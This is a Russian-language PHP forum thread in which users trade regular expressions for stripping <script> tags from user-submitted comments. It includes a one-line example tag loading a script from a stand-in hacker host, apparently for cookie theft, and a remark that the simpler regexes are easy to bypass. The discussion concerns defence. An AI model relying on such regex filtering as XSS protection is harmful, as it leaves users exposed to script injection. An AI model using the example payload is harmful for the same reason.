Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: PHP. RegEx для удаления из строки контейнера <script> c атрибутами и содержанием

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Удаление контейнеров типа <script...>code...code</script>.
sadex
Отправлено: 12 Июля, 2013 - 05:23:49
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




Цель. Удаление из текста сообщения (комментария и пр.) юзера контейнеров типа <script...>code...code</script>.
Исходные условия. Сообщение от юзера, в общем случае, может приходить как в bb- так и в html текстовой разметке. Регулярка работает в php-скрипте на сервере (способ в JS-скрипте на клиенте не рассматривается).

Примерная регулярка для модификаций:

PHP:
скопировать код в буфер обмена
  1. $str = preg_replace('/(<script>.+?)+(<\/script>)/i', '', $str);


Прошу корифеев помочь, подсказать возможные варианты. В регексах я новичок, только начинаю их осваивать.
 
 Top
LIME
Отправлено: 12 Июля, 2013 - 05:33:37
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




PHP:
скопировать код в буфер обмена
  1. $str = preg_replace('#<script.*</script>#siU', '', $str);
если текст в utf то надо добавить модификатор u (нет не перепутал...используется большая U для инверсии жадности)

(Отредактировано автором: 12 Июля, 2013 - 05:38:50)

 
 Top
sadex
Отправлено: 12 Июля, 2013 - 05:45:19
Post Id


Новичок


Покинул форум
Сообщений всего: 48
Дата рег-ции: Июнь 2013  


Помог: 1 раз(а)




Спасибо, LIME, попробую.
 
 Top
nerv
Отправлено: 12 Июля, 2013 - 15:34:21
Post Id



Посетитель


Покинул форум
Сообщений всего: 407
Дата рег-ции: Февр. 2013  
Откуда: Россия


Помог: 9 раз(а)




sadex пишет:
PHP:
скопировать код в буфер обмена
  1. $str = preg_replace('/(<script>.+?)+(<\/script>)/i', '', $str);

PHP:
скопировать код в буфер обмена
  1. $str = preg_replace('/<script>.+?<\/script>/i', '', $str);

(Отредактировано автором: 12 Июля, 2013 - 15:34:43)



-----
Чебурашка стал символом олимпийских игр. А чего достиг ты?
Тишина - самый громкий звук
 
 Top
LIME
Отправлено: 12 Июля, 2013 - 15:40:59
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




nerv я твою регулярку обойду аж 2мя способами))
 
 Top
AlexAnder
Отправлено: 12 Июля, 2013 - 15:58:06
Post Id



Частый посетитель


Покинул форум
Сообщений всего: 915
Дата рег-ции: Авг. 2012  
Откуда: Россия


Помог: 34 раз(а)




CODE (html):
скопировать код в буфер обмена
  1. <script src="http://xaker-site[dot].com/js/alert_cookie.js"></script>


-----
Оказывается, недостаточно читать справочники, чтобы правильно писать коды. sadex ©

Форумы стали местом обучения программированию, а не решения трудных вопросов. KingStar ©
 
 Top
LIME
Отправлено: 12 Июля, 2013 - 16:00:59
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




а 2ой способ это тупо в несколько строк записать
 
 Top
nerv
Отправлено: 13 Июля, 2013 - 22:42:37
Post Id



Посетитель


Покинул форум
Сообщений всего: 407
Дата рег-ции: Февр. 2013  
Откуда: Россия


Помог: 9 раз(а)




LIME пишет:
nerv я твою регулярку обойду аж 2мя способами))

я исправил пример автора, не более


-----
Чебурашка стал символом олимпийских игр. А чего достиг ты?
Тишина - самый громкий звук
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Регулярные выражения »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB